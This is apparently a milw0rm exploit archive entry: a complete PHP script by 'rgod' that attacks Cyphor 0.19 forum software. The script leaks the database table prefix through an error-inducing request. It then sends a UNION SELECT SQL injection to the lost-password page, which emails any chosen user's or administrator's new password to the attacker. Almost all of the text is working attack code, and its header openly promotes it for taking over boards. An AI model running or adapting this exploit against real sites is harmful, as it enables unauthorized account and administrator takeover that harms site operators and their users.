SQL Injection:" /str0ke
#
# --- cyphor019_xpl.php 7.36 08/10/2005 #
# #
# Cyphor 0.19 ( possibly prior versions) SQL injection / board takeover #
# #
# by rgod #
# site: http://rgod.altervista.org #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: launch this script from Apache, fill requested fields, then #
# send yourself any user / admin password right now! #
# #
# Sun Tzu: "There are five ways of attacking with fire. The first is to burn #
# soldiers in their camp; the second is to burn stores; the third is to burn #
# baggage trains; the fourth is to burn arsenals and magazines; the fifth is #
# to hurl dropping fire amongst the opponent." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'
Cyphor 0.19 SQL Injection/board takeover
Cyphor 0.19 (possibly prior versions) SQL injection / board takeover
a script by rgod at http://rgod.altervista.org
';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo " | ";
for ($li=0; $li<=15; $li++)
{ echo "".$headeri[$li+$ki]." | ";
}
$ki=$ki+16;
echo "
";
}
if (strlen($datai)==1) {echo "0".$datai." | ";} else
{echo "".$datai." | ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "   | ";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "".$headeri[$li]." | ";
}
echo "
";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host).'...';
die;
}}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
define('EMAIL_PREG', '#^[a-z0-9&\-_.\+]+?@[\w\-]+\.([\w\-\.]+\.)?[\w]+$#');
define('USER_PREG', '#^[A-Za-z0-9_\-]+$#');
if (($path<>'') and ($host<>'') and ($your_email<>'') and ($username<>''))
{
if (!preg_match(EMAIL_PREG, $your_email)) {echo '
Need a valid email...'; die;}
if (!preg_match(USER_PREG, $username)) {echo '
Need a valid username...'; die;}
if ($port=='') {$port=80;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
#STEP 1 -> retrieve the table prefix...
$packet="GET ".$p."show.php?fid=' HTTP/1.0 \r\n";
$packet.="User-Agent: GetRight/4.5xx\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);
$temp=explode("SELECT * FROM ",$html);
$temp2=explode("forums WHERE",$temp[1]);
$table_prefix=trim($temp2[0]);
echo '
Table prefix ->'.htmlentities($table_prefix);
if ($table_prefix=='') {echo 'Exploit failed...'; die;}
#STEP 2 -> send yourself a new password...
$sql="') UNION SELECT * FROM ".$table_prefix."users WHERE nick='".$username."'/*";
$sql=urlencode($sql);
$data="email=".urlencode($your_email)."&nick=".$sql."&submit=Submit";
$packet="POST ".$p."lostpwd.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."lostpwd.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Internet Ninja x.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
if (eregi("New password sent.",$html)) {echo '
Exploit successful...check your email box...';}
else {echo '
Exploit failed...';}
}
else
{ echo 'Fill in requested fields, optionally specify a proxy...'; }
?>
# milw0rm.com [2005-10-08]